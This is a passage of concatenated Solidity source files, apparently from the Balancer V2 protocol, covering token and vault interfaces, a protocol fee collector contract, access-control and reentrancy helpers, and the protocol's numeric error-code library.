* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/openzeppelin/IERC20.sol";
/**
* @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support
* sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals.
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "../../lib/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the
* Vault performs to reduce its overall bytecode size.
*
* The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are
* sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated
* to the Vault's own authorizer.
*/
contract ProtocolFeesCollector is Authentication, ReentrancyGuard {
using SafeERC20 for IERC20;
// Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%).
uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50%
uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1%
IVault public immutable vault;
// All fee percentages are 18-decimal fixed point numbers.
// The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not
// actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due
// when users join and exit them.
uint256 private _swapFeePercentage;
// The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent.
uint256 private _flashLoanFeePercentage;
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
constructor(IVault _vault)
// The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action
// identifiers.
Authentication(bytes32(uint256(address(this))))
{
vault = _vault;
}
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external nonReentrant authenticate {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
token.safeTransfer(recipient, amount);
}
}
function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate {
_require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH);
_swapFeePercentage = newSwapFeePercentage;
emit SwapFeePercentageChanged(newSwapFeePercentage);
}
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate {
_require(
newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE,
Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH
);
_flashLoanFeePercentage = newFlashLoanFeePercentage;
emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage);
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
function getFlashLoanFeePercentage() external view returns (uint256) {
return _flashLoanFeePercentage;
}
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) {
feeAmounts = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
feeAmounts[i] = tokens[i].balanceOf(address(this));
}
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
return _getAuthorizer().canPerform(actionId, account, address(this));
}
function _getAuthorizer() internal view returns (IAuthorizer) {
return vault.getAuthorizer();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
import "../../vault/interfaces/IAsset.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IAsset[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce gas costs.
// The `safeTransfer` and `safeTransferFrom` functions assume that `token` is a contract (an account with code), and
// work differently from the OpenZeppelin version if it is not.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
*
* WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert.
*/
function _callOptionalReturn(address token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
(bool success, bytes memory returndata) = token.call(data);
// If the low-level call didn't succeed we return whatever was returned from it.
assembly {
if eq(success, 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs
_require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
